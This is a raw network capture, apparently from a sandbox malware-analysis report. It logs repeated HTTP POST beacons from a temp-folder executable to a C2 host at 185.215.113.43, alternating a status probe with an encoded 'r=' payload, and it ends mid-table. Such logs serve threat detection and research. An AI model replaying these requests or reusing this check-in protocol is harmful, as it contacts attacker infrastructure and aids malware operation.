Nov 21, 2024 03:14:23.595488071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:25.008717060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50402	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:26.651405096 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:28.039557934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50405	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:29.787652969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:31.176354885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50408	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:32.804296017 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:34.211466074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50411	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:35.958844900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:37.314193964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50414	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:38.954705954 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:40.390513897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	50417	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:42.130935907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:43.523511887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	50420	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:45.164907932 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:46.517400980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	50423	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:48.261600018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:49.616477013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	50426	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:51.257257938 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:52.700485945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	50429	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:54.432759047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:55.816714048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	50432	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:57.449173927 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:58.862708092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	50435	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:00.609308958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:01.948328018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	50437	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:03.582015991 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:04.968030930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	50440	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:06.716125011 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:08.054147005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	50443	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:09.696115017 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:11.102271080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	50446	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:12.847738981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:14.185595036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	50449	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:15.823575974 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:17.259470940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	50452	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:19.000799894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:20.392817974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	50454	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:22.035343885 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:23.426008940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	50455	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:25.172252893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:26.527137041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	50456	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:28.168226004 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:29.602075100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	50457	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:31.344993114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:32.775402069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	50458	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:34.400988102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:15:35.791102886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	50459	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:15:37.536561966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:15:38.919929981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	50460	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
